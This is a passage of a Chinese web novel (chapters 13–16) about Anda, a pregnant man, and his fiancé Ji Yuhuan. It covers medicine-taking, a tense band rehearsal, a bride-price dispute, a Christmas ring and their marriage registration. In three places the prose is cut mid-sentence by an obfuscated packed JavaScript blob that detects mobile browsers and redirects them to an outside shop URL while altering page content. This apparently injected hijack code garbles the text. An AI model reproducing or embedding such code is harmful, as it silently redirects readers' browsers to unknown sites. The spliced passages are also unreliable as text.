安达对纪屿欢这一套流程已经无比熟悉,但他每次仍然得狠着心才能拒绝他:“不行,医生都说了不能自己乱加东西,捏着鼻子一口闷下去就不苦了。” 纪屿欢作息一不规律就容易胃疼,饭也不吃,就怏怏地窝成一团,安达看着难受,于是下定决心要敦促他好好喝药。 纪屿欢苦着一张脸,捏着鼻子将药往嘴里灌。 “咳咳,咳!”他一时喝得太急,被自己呛到,剧烈地咳嗽起来。 安达见状,连忙上前拍他的背,急道:“哎呀,慢点儿慢点儿,现在好受点没有?” 纪屿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547882|204228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢缓了几口气,点点头,“没事了,就是呛到了。” 碗底还剩下薄薄一层药液,约摸一个指节深,安达端起碗看了看,说:“那剩下这点也喝了吧,喝完我正好把碗洗了。” 纪屿欢可怜兮兮地抬眼看着他,“我都这样了,还喝啊,哥你怎么忍心。” “这一副药好几十呢,”安达说,“这里少说也有十块吧,不能浪费。” “真的很苦啊,”纪屿欢小声抗议,“这药就不是人能喝的。” 安达催他:“快喝吧,一口下去就不苦了。” 他监督着纪屿欢将药喝了进去,看见空碗底后,才将碗接了过来。 他正准备起身,却忽然被纪屿欢按住了肩膀。 纪屿欢漂亮的脸急速放大,距离近得让他下意识屏住了呼吸。然后,一口苦涩的药液被灌了进来。 安达一怔,下意识将那口药液咽了下去。 等他反应过来时,纪屿欢已经退开了,舌尖飞快地舔了一下嘴角,眼睛明亮。 “喝完了,”他的眼角微微挑起,语气带着恶作剧得逞后的得意,“真的很苦啊,对吧?” 安达瞠目结舌,好半天才缓过神来,一张老脸发烫,喉结轻轻地滚动了一下。那点药早就顺着喉咙滑了下去,涩意却还留在舌根。 他抹了把嘴,骂道:“你这臭小子,谁要吃你的口水啊!” 纪屿欢挑了挑眉,“我这是让你感同身受。” 安达瞪着纪屿欢,“谁要和你感同身受,是你生病又不是我生病。你下次要再这样,我就把药熬得特别浓,糖也不给你准备了,你就等着吧,苦不死你。” “唉……”纪屿欢长叹了一口气,眉眼却在笑,像两弯月牙儿,散发着暧昧的光晕,“可是我觉得这样挺好的啊,你觉得呢,哥?” 这声“哥”被他叫得又轻又慢,尾音像是故意拖了一下,在空气里晃了一圈,才慢悠悠地落进安达的耳朵里。 安达只觉得心口被什么东西不轻不重地撞了一下,发闷又发热。 安达清了清嗓子,强行将视线从纪屿欢脸上挪开,“咳,你说什么也没用,下不为例!” “真是老古董,不懂情趣,”纪屿欢拖长了声音,站起身来,“那我先回房间了。” 门轻轻合上,厨房里只剩安达一个人,水声哗啦,他有条不紊地冲洗着碗筷。 台面上摆着一块榛子巧克力,是纪屿欢最喜欢吃的牌子。安达怕他觉得药苦,所以每次都会给他准备一颗糖果。 他拆开巧克力的包装袋,将原本给纪屿欢的巧克力含在嘴里。巧克力又甜又腻的香气充斥着整个口腔,可是中药那点残存的涩意仍旧迟迟不能散去。 他摸了摸滚烫的脸,低声嘟囔道:“……真是要命。” 怪不得志怪故事里的老妖怪都喜欢年轻书生呢,这小年轻就是不一样,亲上这么一口,就跟返老还童仙丹似的,感觉浑身都轻盈又舒坦。 想到这里,他的嘴角不自觉地翘了一下。 14. 14 第二天晚上,安达下班后便去了纪屿欢他们的排练室。纪屿欢虽说不用带什么,但他还是觉得空手不合适,就去买了些水果,仔细切好,整整齐齐码在保鲜盒里带了过去。 排练室是由一间废弃厂房改造的,位置有些偏僻,安达费了些功夫才找到。 这里比他想象的要干净。地面铺着木地板,各种设备整齐地靠墙摆放,墙面上贴着各色摇滚乐队和音乐节的海报。 他透过窗户悄悄向里望,纪屿欢正站在中央,一头张扬的发丝随着歌声与动作跃动。他旁边坐着一个金色长发的男人,眉眼像外国人般深邃,正漫不经心地打着面前架子鼓。安达记得他……在他看过的那个乐队演出视频里,纪屿欢就是靠在这个男人怀里,亦步亦趋地被他扶下台。想到这里,他莫名对这个男人生出了些许敌意。 左手边站着一个个子矮些、穿一身哥特裙装的女生,一张清瘦的瓜子脸,抱着一把长长的贝斯,面无表情,冷若冰霜。另外还有个棕色长卷发的女人,穿着短皮夹克和酒红色工装长裤,正在指导他们排练。 出乎意料的是,正在演奏的这首歌并没有安达印象中那么炸裂。鼓点快而密集,但整体氛围轻松明快。这比他认知里的“朋克”要悦耳不少。 演奏到一半,那个卷发女人抬起手叫了停。 “罗顿,怎么回事?这已经不是你今天第一次出错了。这次演出对我们很重要,请你打起精神,不要拖后腿。” 那个名叫罗顿的金发男人冷哼一声,用浓浓的外国口音说道:“所谓的流行,就是这么一成不变、无聊透顶,几个烂俗的和弦,根本就算不得什么音乐。” “流行之所以是流行,就是因为大众爱听。既然由我来担任音乐制作人,那就该听我的。”女人声音冷静,微微皱起眉毛,“请你专业一点。否则,你也不必留在这个乐队了,自己出去单干不就好了?” 罗顿没接她的话,反而转向纪屿欢,语带讥讽:“你们就甘心唱这种东西吗?Riann,别人也就算了,你呢?” 纪屿欢语调平淡:“我一切都听米拉姐的。既然决定由她担任制作人,我就会服从安排。” “你果然变了,Riann,”罗顿的声音沉了下去,“你令人失望。” 安达在门口看得有些踌躇。他没想到一来就撞上乐队内部争执,正不知该不该进去,却见纪屿欢忽然抬眼,精准地望向他的方向,招了招手。 “先暂停吧,这么吵也吵不出结果。”纪屿欢说着,目光仍锁在安达身上,“正好,今天给大家介绍个人。” 他对着门口扬声道:“老公,还愣着干什么?进来啊。” 安达呆住了,脸一下红到脖子根,纪屿欢刚刚叫他什么?他、他应该没听错吧,他俩还没有结婚呢,纪屿欢忽然这么肉麻地叫他,让他觉得自己浑身上下好像有毛毛虫在爬。他硬着头皮走进去,朝另外几人点了点头:“你们好,我是安达。” 米拉挑了挑眉,看向纪屿欢:“Riann,我怎么从来不知道你还有个‘老公’?”她顿了顿,目光转向罗顿,“你知道吗?” 听起来,这里的其他人都管纪屿欢叫“Riann”,那大概是他的艺名。 “我也是头一回听说。”罗顿扯了扯嘴角,眼神阴鸷地盯着安达,让他如芒在背,“不过Riann的把戏多了去了。他的脑袋里向来充满了奇思妙想,就算他从影视城临时雇个演员来,我都不惊讶。” “是吗?”纪屿欢轻笑一声,伸手将安达往自己身边带了带,“那恐怕要让你失望了。正式介绍一下,这位是我的未婚夫,安达。”他又转向安达,语气亲昵,“老公,我也给你介绍一下。这位是我们的音乐制作人,米拉姐。这是贝斯手,茜莉。还有他,鼓手,罗顿。” 安达忙将手里的保鲜盒往前递了递:“你们好,打扰你们排练了。我带了些水果,大家休息时尝尝吧。” “老公你来就来,还带什么水果。”纪屿欢嘴上这么说,却自然地从他手中接过盒子,放在一旁的桌子上,“大家都来吃点吧,休息一下。” 罗顿沉声道:“不用,我对甜的东西没兴趣。” 纪屿欢闻言,只是牵了牵唇角:“你看,我就说不用带。就算带了,也有人不领情。” 安达觉得气氛有些僵,只好打圆场:“没事没事,本来就是随手带的,一点心意。也不知道大家爱吃什么,不喜欢的话,下次我带别的就是了。” 罗顿皱皱眉,一脸“你还想有下次”的表情,说:“随便你。” “这个世界上还有比罗顿更不领情的人吗?”米拉叉起一块苹果,似笑非笑,“我前几天怎么听说,又有个Omega哭哭啼啼找到这儿来,结果有人把门一锁,大半夜的就把人晾在外头?” 那个一直没什么表情的女孩茜莉终于开了口,淡淡道:“嗯,我看见了。最后还是我劝回去的。” 米拉皱了皱眉:“罗顿,你能不能少给乐队惹点麻烦?” “如果不惹麻烦,大概就不是他了吧。”茜莉接话道,“正因如此,Riann才总发愁啊。” 总是“发愁”的纪屿欢,此刻看起来心情倒不错,漫不经心地用叉子戳起一块苹果送入口中。 安达听着他们你一言我一语,自己一句也插不上,只能将这种格格不入的异样感归结于“代沟”。 米拉仿佛这才注意到安达被冷落,转而问道:“对了,安先生,你们是怎么认识的?以前可从没听Riann提起过。” “哦,我们其实是在……” “是一见钟情。”纪屿欢忽然打断他,转头对安达眨了眨眼,笑意盈盈地伸手,亲昵地拨了一下安达额前并不乱的头发,“对吧,老公?” “……嗯。”安达被他突如其来的亲密动作弄得有些脸热,含糊地应了一声。 “是么?”罗顿懒洋洋地倚在墙边,目光在两人之间巡弋,最后钉在安达身上,唇角勾起一抹毫不掩饰的讥诮,“我怎么不知道,你什么时候换了口味,喜欢上这种……居家的贤惠类型了?” “贤惠”两个字被他咬得极重,带着浓浓的轻蔑。 纪屿欢脸上笑意不变,慢悠悠地又叉起一块鲜红的西瓜,却没吃,只是举在眼前,对着排练室昏黄的灯光微微转动, “人是会变的嘛,罗顿。”他语调懒散,却字字清晰,“以前我喜欢吃蓝莓,蓝莓是挺好,但放不住,容易烂。现在嘛……觉得西瓜更清甜,也更解渴。” 他说着,手腕一转,将那块西瓜递到了安达唇边,眼神却斜睨着罗顿,带着明目张胆的挑衅,“老公,尝尝?很甜。” 安达僵住了,进退不得。尽管不明白发生了什么事,但他能感受到这两人之间的暗流涌动。 他觉得很不舒服,仿佛自己成为了横亘在他们中间的一条水沟,他们都想从他身上越过。 罗顿忽然嗤笑一声,指了指纪屿欢面前的果切盒:“变?有的东西是刻在骨子里,变不了的。比如——你对桃子严重过敏。忘了?上次差点进医院的事。” 空气仿佛冻结了一般,纪屿欢动作一顿,眼睫轻颤。 安达猛地转过头:“你对桃子过敏?你怎么从来没跟我说过?” “呵,”罗顿看着安达的慌乱和纪屿欢僵硬的侧脸,语气堪称愉悦,“你连他对什么东西过敏都不知道,又怎么可能会给他他想要的东西?你这个未婚夫,未免也当得太不称职。” 安达顾不上罗顿的嘲讽,急切地看向纪屿欢:“你刚刚没吃吧?我、我帮你把桃子挑出来……”他说着就要去拿桌上那盒混有桃子的果切。 罗顿比他动作更快。几乎在安达伸手的同时,他已经倏地起身,长臂一伸,精准地将那盒果切捞起,拿在手中。 “你难道不知道,对于严重过敏的人来说,哪怕是一点桃子汁也可能要了他的命吗?” 他的目光越过脸色有些苍白的安达,最终落在纪屿欢脸上。纪屿欢唇角抿成一条直线,眼神晦暗不明。 “刚刚好像有人说我不领情……既然如此,”罗顿偏过 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他顿了顿,声音放得更轻,如同微风般吹拂过他的耳廓,带着一种奇异的蛊惑,“而且……我都跟他们说了,你是我老公。说出去的话,泼出去的水,你可不能反悔。” “老公”这个词,再次被纪屿欢用那种亲昵又依赖的语气喊出来,在夜色里显得格外清晰,安达心里的防线又开始摇摇欲坠。 其实他很清楚所谓的结婚不过是两个人搭伙过日子而已,有些夫妻相处了一辈子也未必就真正了解对方,更何况他也有事情瞒着纪屿欢不是吗? 虚无缥缈的爱情,他从来就没有追求过。他想要的只是一丝丝真心和家的温情而已。 他想起排练室里纪屿欢的温言笑语,那带着些许刻意的亲昵背后,或许……也有一点点真心吧?至少,纪屿欢愿意在所有人面前承认他。 “我没生气,”安达叹了口气,“就是觉得……以后那种场合,我还是少去。毕竟我又不懂音乐,也帮不上什么忙。” “嗯,你不想去就不去,都听哥的!”纪屿欢立刻点头,眼睛亮起来,拉起他的手,“那我们回家吧。” 那天晚上,当纪屿欢像往常一样洗完澡,带着沐浴露的香气钻进被窝时,安达没有像往常一样靠过去。 他在黑暗中安静地躺了一会儿,然后转过身,面向纪屿欢。 窗外的月光很淡,勉强勾勒出青年优美的轮廓。他脖子修长,脊背笔挺,微微垂头时,露出的白皙后颈让人联想到天鹅。 无端地,安达又想起他在台上脱力昏迷的样子。他直直地向后倒去,像一只被暴雨摧折的野百合。而那个名叫罗顿的男人,将他紧紧搂在怀里,仿佛护着一件珍宝。 每每想到这个画面,他的心脏都像是被人捏了一下。 “屿欢。”他不自觉地叫出了他的名字。 “嗯?”纪屿欢扭过头,清澈的眸子含笑望着他。 他心头一阵滚烫,冲动促使着他脱口而出,“我们……去把证领了吧。” 纪屿欢的呼吸几不可查地顿了一瞬。他静静看着近在咫尺的安达,好像在从他脸上确认着什么。 安达几乎在说出口的瞬间就后悔自己的冲动。这算是求婚吗?好像算又好像不算,可是他还什么也没准备……他知道纪屿欢这样的小年轻都喜欢浪漫,所以他本来是打算选一个好日子,给他买好戒指,然后下跪发誓我会一辈子爱你、一辈子对你好什么的,问他你愿不愿意和我结婚,然后他们就像普通的情侣那样紧紧抱在一起亲吻彼此……他本来是这样想的,也准备这样做,毕竟所有人都是这么做的,可是他突如其来的冲动把这个完美的设想给破坏了。 片刻的沉默,仿佛有一个世纪那么长。 安达紧张极了,几乎只能听见自己的心跳声,咚咚作响。正在他觉得自己要因心跳过速而早逝的时候,他看见纪屿欢笑了,那笑容在月光下漂亮得有些飘渺,带着些许他未能分辨的复杂情绪。 纪屿欢朝他伸出手掌,“好啊,哥。” “我们结婚。” 15. 15 纪屿欢说,要领证,就在圣诞节那天去领。 “为什么是圣诞节?” 作为一个乡下来的土包子,安达从来没过过洋节,只记得圣诞节好像要吃苹果。 “不觉得这是个很浪漫的节日吗?”纪屿欢说。 安达挠了挠头,“呃,我只知道那个耶稣被钉在十字架上什么的,想想就好痛啊。” 纪屿欢扑哧一声笑了,“圣诞圣诞,当然是纪念他诞辰的,你想什么呢。” 安达说:“都好,都好,只要你喜欢就行。” 平安夜那天,直到晚上十点,纪屿欢还没有回家。安达在家里坐立不安,给纪屿欢打了好几个电话,他都没接。 明天就要去领证了,明明说好了今天要早点睡的,可是他怎么也没想到,纪屿欢竟然会在这时候玩起了失踪。 他下意识又走到床边,掀起枕头,枕头底下藏了一只白色的新袜子,套着一个精美的首饰盒,里面装着一枚金戒指。 结婚送金戒指是他们那儿的习俗。虽然还没有正式办婚礼,但两人结婚总得有点像样的物件吧。他前两天去了趟金铺,选了个当下最流行的款式,五千块。 细细的素圈,内里刻上了他们名字的首字母。安达疑心这样的款式会不会太过素,显得他不用心,可是金铺老板却说,现在的年轻人都喜欢简洁的款式,大方,不过时。 过了几天,他无意间在网上看见,圣诞节时,如果你在床头放上一只袜子,并对圣诞老人许愿,第二天圣诞老人便会将礼物放进袜子里。 这几天他正发愁要怎么把戒指送给纪屿欢呢,直接送有点不好意思,用这样的方式就好接受多了。安达觉得,圣诞节真是个不错的节日,怪不得年轻人都喜欢。只要许愿就能从袜子里得到礼物,多好多浪漫啊。 纪屿欢应该也会喜欢吧。 他从八点等到了十二点,圣诞节到了,屋外零零星星有些人在放烟花,映得窗玻璃一闪一闪。 安达看着屏幕上跳出来的日期,忽然有点想笑,他精心准备的惊喜,主角却压根没有出现。 安达重新坐回沙发上,把脚缩进毛毯里。客厅的暖气不怎么热,后半夜会更冷,可他不愿意回卧室去,好像一回去就等于承认今晚等不到了。 头一次,他开始怀疑,这桩婚姻是不是太荒谬了。说到底,他和纪屿欢根本就不像是同一个世界的人,只是因为他太过焦虑,抓住一根稻草就不想松手,才会拼命地想要促成这桩婚姻。 如果没有林韬,没有这个孩子,或许他也能和另一个普通beta简简单单地相识相爱,步入婚姻,组建家庭,拥有一个他们自己的孩子。这个人也许会是纪屿欢,也许不是。 他难得悲观地想:林韬,你真的把我的人生给毁了。 可是他怎么能怪林韬呢,林韬于他有恩,说到底他只能怪自己太没用,连让老爹好好养老都做不到。对于普通人来说,一场疾病就足以压倒一个家庭,可是对于林韬那样的人来说,不过是挥挥手的事情罢了。 他回想起自己有次痛骂林韬是资本家。结果林韬说:“安达,你没有政治觉悟,新中国成立后就消灭了资本家,我们都是平等的社会主义的建设者。” 安达:“那你把钱分我一半。” 林韬高深莫测地笑了笑:“那不行,现在是市场经济的时代,不搞平均分配那一套。” 安达翻了个白眼:“那你就是在放屁!” 林韬丝毫不生气:“第一,我没有放屁;第二,放屁是人的正常生理需求,你不能无视它。” “哦,”安达说,“那我还不如去盗秦始皇的墓算了,我不能跟活人平均,难道还不能跟死人平均吗?” 林韬挑挑眉:“你的意思是我不如秦始皇?” 安达:“那不是应该的吗?你什么时候见过活人能比得过死人的。” 这些乱七八糟的思绪填满了安达的脑袋。他在沙发上翻了个身,下意识将手掌贴在小腹上:他的孩子,又会出生在一个什么样的家庭、什么样的世界呢? 胡思乱想间,安达不知不觉蜷在沙发上睡着了。 深夜的寂静被钥匙转动的声响打破。安达猛地惊醒,下意识看了眼挂钟,凌晨三点。 玄关处传来窸窣声响,随后是略显沉闷的脚步声。 纪屿欢看起来疲惫极了,眼下的阴影显得格外深邃。他的目光触及沙发上的安达时,闪过一丝复杂的情绪。 他没有像往常那样黏上来认错或是说几句软话,只是站在客厅边缘,静静地看着安达。 “哥,你还没睡。” 安达揉揉眼睛,坐直身体,所有的焦灼在看见人那刻反而消散了,他意外地平静。“在等你,”他说,“忘了吗?我们明天……今天还要去领证。” 这句话像是一个开关,纪屿欢的睫毛颤动了一下,避开了安达的视线,最后虚焦在关着的卧室门上。 沉默在微凉的空气里蔓延。这个老小区供暖不好,到了后半夜,总是会冷。 “哥,”纪屿欢终于开口,声音压得很低,“对不起。” 安达的心蓦然沉了下去。 “我不能跟你结婚了。” 时间仿佛凝固了,安达甚至能听见自己的血液流动的声音。他张了张嘴,想问“为什么”,想问“是不是因为别的什么人”,想问“这些天的相处都算什么”,但最终他只是沉默地盯着纪屿欢。 “家里知道了……他们不同意。” 安达怔住:“家里?” 纪屿欢很少提他的家庭,安达只知道他父母都待他不好,所以他早早离家独立。 “他们……要彩礼,十八万八,”纪屿欢的眼神垂着,看不真切,“哥,我知道你也不容易……” “十八万八……”安达喃喃重复道,“你家里,真是这么说的?” 两个beta结婚,谁也不吃亏,一般没有彩礼这一说。他万万没想到,纪屿欢家里竟然会提出这样的要求。 他设想过很多可能,比如纪屿欢厌倦了,或是他喜欢上了什么别的人,甚至比如纪屿欢发现了他和林韬曾经的关系。 可他没想到是这样的理由。这样……市侩的理由。在这个世界上干点什么都得要钱,要钱的地方可真多啊。 “……嗯,”纪屿欢迅速垂下眼眸,掩去眸中一闪而过的复杂情绪,“哥,你有没有听过一句话叫‘削肉还父,剔骨还母’,就算我再恨他们,他们也是我的亲生父母,于我有抚育之恩,这一笔钱,就当我偿还给他们的,从此之后两不相欠。” “屿欢,” 安达开口,声音干涩,“我是什么情况,你大概也清楚,我没那么多钱。” 纪屿欢抬起眼,微凉的眼神定在安达身上:“这是我自己的事,与你无关。我不想让你看见我这样的一面,也不想让你卷进这个烂摊子。但是……” 安达抬手,打断了他,“我再问你一遍,只要有这十八万八,我们就能结婚了,是吧?” 纪屿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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罗顿只是微微笑了笑,仿佛一个虔诚的信徒般,用纯正的英伦腔说道:人生来就背负着原罪,注定堕落。倘若人永不犯错,至今仍被困在伊甸一隅,形同傀儡。不过没关系,神总会宽恕祂的孩子,当我们赤条条地在上帝面前忏悔时,所有罪孽都终将被原谅。 罗顿是个在英国出生的混血儿,他是修女的儿子,从小在教会长大。可是,他的离经叛道却让他被神学院开除。他满口神神叨叨的话语,却是个不折不扣的异端。 纪屿欢道:滚,我不是来听你布道的。而且就算真的有天堂和上帝,你来不及见到他就会下地狱。 罗顿长叹一声,目光幽深而专注地注视着他:Riann,你只是还没有遇到会让你下地狱的人而已。等你遇见了,就会懂了。 纪屿欢垂眸不语。 此时此刻,他看着眼前的安达,竟然有些恍惚。 这个傻兮兮的男人的脸颊微微发红,正用卑微的、满怀期待的眼神看着他:“你、你觉得怎么样?” 他没来由地感到一阵怜悯。大概对于眼前这个男人来说,所谓的“彩礼”真的是很重要的事。这个世界上的所有人都是如此,总是被莫名其妙、毫无意义的东西困住,然后庸庸碌碌、浑浑噩噩地过完一生。就像蚂蚁只顾着追随着前方的踪迹,浑然不觉自己已经陷入了没有尽头的怪圈。 纪屿欢上前一步,轻轻地环住了安达的腰,垂头将下巴贴在他的肩膀上,“哥,你为什么对我这么好?” 16. 16 安达说:“我对你好,那是应该的。我当时不是答应过你了吗?会养你、疼你一辈子。是哥没用,挣不到钱,也出不起这么多彩礼,只能委屈你跟我一起受苦。” 纪屿欢静静地搂着他抱了一会儿,忽然说:“那如果我永远籍籍无名、贫穷潦倒,永远还不起那十万块,你要怎么办?” “那还能怎么办,自认倒霉呗,”安达说,“反正家里给你吃的那碗饭总还是有的,饿不死你。” 纪屿欢沉默了一会儿,说:“哥,我们乐队准备自己制作发行几首单曲,我其实很紧张,也很害怕。”他退开一步,看着安达的眼睛:“你觉得,我们这次会成功吗?” 安达回望着他,点点头:“会的。” 纪屿欢笑了笑,一双杏眼微弯:“真的吗,你怎么知道?” “上次我不也去听你们排练了吗?我觉得那首歌挺好听呀。” 纪屿欢悠悠地叹了口气,“哥,被你喜欢,我真不知道是件好事还是坏事。” 安达瞪了他一眼:“你别瞧不起我好吗!虽然我是不太懂音乐,但我耳朵不聋。小学音乐课时老师还让我做课代表呢,站在班级前面指挥领唱的那种,可威风了。” 纪屿欢扬起眉毛:“哦?你还会指挥?” “是啊,”安达颇自豪地抬起了双手,在胸前挥动,“我到现在还记得呢,两拍就是八字形地划拉两下,三拍就是个三角形,四拍就是先下落。里面点一下,外面点一下,再抬起来……” 纪屿欢捉住他的手,捧着咯咯笑起来。 安达有些不好意思了:“你笑什么,我记错了吗?” “不是,都对,”纪屿欢笑着说,“哥,没想到你还挺厉害的,连这都知道。” 安达忍不住臭屁了起来:“那是那是,哥厉害着呢。” “嗯,你真厉害,”纪屿欢微微笑了笑,“能被你喜欢,我就放心了。” “对了,”安达的脸微微发红,“我有给你准备圣诞礼物……” 他领着纪屿欢进了卧室,指指枕头,“在枕头底下,你……你自己去拿。” 纪屿欢抬起枕头,惊讶道:“袜子?” “咳,”安达轻咳一声,“里面有东西。” 纪屿欢撑开袜筒,里面是一个精致的首饰盒,他将盒子打开,黑色的丝绒缎面上静静地躺着一对素圈金戒指。 纪屿欢的手指顿住了。他看着那枚戒指,瞳孔微微缩了一下。他应该感动。至少应该表现出感动。这是他擅长的——说甜话,露出好看的笑容,让对方觉得自己做的一切都值得。可是此刻他有点做不出来。 “哥,你怎么……”他开口,声音有些干涩。 “怎么样,要不要试戴看看,尺寸我有点拿不准,是估摸着让金铺打的……”他絮絮叨叨地说着,眼睛亮晶晶的,满怀期待。 纪屿欢垂下眼,那两圈金色在灯光下格外晃眼,靠在一起,彼此缠绕。戒指内圈刻着字母。A&J。 他本能地产生了一种不详的感觉,他觉得这对戒指上应该施加了紧箍咒之类的东西。总之他不该戴。 纪屿欢把戒指放回盒子里,合上盖子,推回去。 “这个太土了。”他说,语气尽量放得轻松,“金戒指,谁现在还戴这个?上一辈人才戴呢。哥,你该不会是被金铺老板忽悠了吧?现在年轻人谁戴金戒指啊,要么铂金要么银,要么就干脆不戴。” 安达愣了愣,他看着被推回来的首饰盒,嘴唇动了动,“是、是这样吗?” “我不是嫌弃你,”纪屿欢的声音低下去,“我就是觉得没必要,你买这东西,又不实用……” “我知道。”安达打断他,声音抬高了些许,有点发抖,“我就是想送你个东西。结婚总要有个戒指吧……就算不贵,也是个心意。我、我会对你好的,一辈子对你好。” 纪屿欢攥紧了拳头,指甲嵌进掌心里,心里没来由地升起一阵烦躁。这个男人为什么这么难缠?为什么他总是这么认真,又这么执拗?动不动把“一辈子”这种话摆在嘴边,鬼才会相信。 他有些不耐烦地说:“你就先收着吧,我不想戴。” 安达低头看着那个首饰盒,沉默着不说话。眼尾低垂,露出受伤的神情。 看见他这个样子,纪屿欢心里又是一阵不舒服,有些艰难地开口道:“你先帮我收着。等以后……等我有钱了再给你买个好的,这个你先留着。” 安达抬起头,泪眼汪汪地看着他:“金子还不够好啊,那你要多好的,大钻戒吗?” 纪屿欢无奈道:“……我不是这个意思。” 但安达又破涕为笑了,“那好吧,我就先收着了,等你以后再给我买。别忘了你可还欠我十万块呢,到时候戒指要当利息的。” “好,好,我答应你。”纪屿欢望着安达亮晶晶的眼睛,心想这个男人怎么三十岁了还这么傻,这么好哄。 安达说:“对了,那你什么时候也带我去见见你的家人吧。” 纪屿欢的脸色变了变,垂下眼睫说:“没什么好见的。” “为什么?” “算了吧,哥,我真的不想见到他们,你见到他们也不会开心的,反正这笔钱给出去,就当我从此和他没有关系了。结婚是我们两个人的事,我们又何必给自己找不痛快。” 安达只好说:“那好吧。” 元旦那天,他们去领了证。 安达捧着红本本,爱不释手,一整天翻开来看了又看。照片上两人并肩而立,纪屿欢一张素白的脸,眼角稍稍弯起,微笑着;他自己更是喜上眉梢,嘴巴咧得大大的,笑得傻气极了。 安达不由骂自己:不就是结个婚吗,笑这么荡漾做什么,这副毫不矜持的蠢样被印在结婚证上,往后都抵赖不得了。 他骂着骂着,又抱着结婚证将脸埋进被子里,傻笑起来了。 “哥,你在这里笑什么?” 安达猛地从床上弹了起来,正襟危坐,怀里的结婚证掉在大腿上,他有些尴尬地将结婚证拿起来,不知道该往哪儿放。 纪屿欢向前探身,从他手中抽出那本结婚证,翻开来看了看,指着结婚证里的照片:“我脸上写字了?” 安达摇头:“没有。就是……好看。” 他一不小心就说出了心里话,心跳不自觉加速了些。 纪屿欢啪一声合上结婚证,随手往床头柜上一甩。 “哎哎哎!”安达手忙脚乱去接,“你这臭小子!这么重要的东西,怎么能这么乱扔呢!” 他还没碰到结婚证,就被纪屿欢按住了肩膀,“哥,我就在这里,你还要去看那张照片吗?” 安达下意识眼神躲闪:“不是……就是要放好,免得丢了。” 纪屿欢仿佛没听见他说什么一般,眨眨眼,自顾自地向他贴近:“哥,今天可是我们的新婚之夜。” 他的嗓音沙哑而缱绻,在夜色中显得格外勾人。 安达的心脏砰砰直跳。纪屿欢生了一双薄唇,桃花瓣似的,偏偏唇珠处圆润饱满,性感极了。他说话时,安达只顾着盯着他的嘴唇看,下意识咽了口口水,完全听不进他说了什么。 他觉得,自己多半也有些见色起意的成分,真是太不像话了。 这边纪屿欢含情脉脉地盯着他,那边安达没头没尾地开口:“你饿了吗?” 纪屿欢:? 安达郑重其事地说:“我好像有点饿。” 他想了想,又补充道:“还有点渴。” 纪屿欢:? “那个……要不我去煮点饺子?” 纪屿欢一头黑线,有点好气又有点好笑:“我不饿,你煮你自己的份就好。” 安达仓皇逃窜,来到厨房,从冷冻柜里翻出一袋饺子,倒进锅里。 冷冻的饺子表面结了层白霜,冰得他手上生疼。 他有些茫然地看着锅里的水渐渐沸腾,水汽弥散开来,他往锅里加了碗凉水,轻轻搅动沉底的饺子,再等它沸腾,如此往复。 刚刚纪屿欢凑得很近,他感到体内热流涌动,小腹一阵紧缩。 就是这个动作,让他突然反应过来,他的肚子里还有一个小生命的存在。 从他怀孕以来,他一心一意地为着这个孩子谋划,他爱它,期待着它的降生。可是这一刻,他竟然有一点希望它不存在。 其实,孕早期时做是没有什么关系的,不是吗?他们新婚,理应是浓情蜜意之时。 结婚…… 明明期待了那么久,不要扫兴。 他有些机械地将锅里煮熟的饺子捞起来,这些饺子是他前不久包的,个个晶莹剔透,皮薄馅大。此时,他看着一个个肚子浑圆的饺子,竟是久违地一阵恶心。 “呕——” 他再也支撑不住,扶着水池边呕吐起来。 这些日子,安达本以为孕反已经逐渐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547885|204228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平息,可今天,肚子里的小家伙似乎感受到它的爹地产生了不要它的念头,打定主意要彰显一下自己的存在感,逼得安达几乎将胆汁呕吐出来。 纪屿欢循声而来,在他看见安达的样子时,脸色猛地变了,冲上来扶住他:“哥!你怎么了?” 安达的第一反应,竟是着急忙慌地打开水龙头,想用水流掩盖池子里的呕吐物。 他下意识地不想让他纪屿欢看到那些脏东西。 “怎么会这样?你怎么吐得这么厉害?” 安达口中一阵发苦,他闭了闭眼,脸色苍白,声音细若蚊蚋:“我没事。你别管我了,也……别看了,好吗?” “那怎么行?”纪屿欢抬高了声调,一把捏住他的手臂,“可能是食物中毒……你吃什么了?走,我带你去医院。” “真的不用!”安达大吼道,纪屿欢似乎被他过激的反应吓了一跳,愣住了。 安达嘴唇颤了一下,轻声道:“真的没事,刚刚肚子突然有点不舒服,吐出来就好了,用不着去医院。” 纪屿欢一脸狐疑:“真的?” 安达点点头:“真的,现在一点儿也不难受了,我喝点热水就好了。” 他眼角眉梢微微泛红,但脸色确实不如刚刚那么难看。 纪屿欢叹了口气,转身给他接了杯温水:“给。如果之后还有不舒服,再跟我说。” 安达接过,勉强笑了笑:“谢谢你。” 他指了指那碗煮好的饺子:“那个,你吃饺子吗?不然怪浪费的。” 纪屿欢盯着他的脸看了一会儿,说:“好,我吃。” 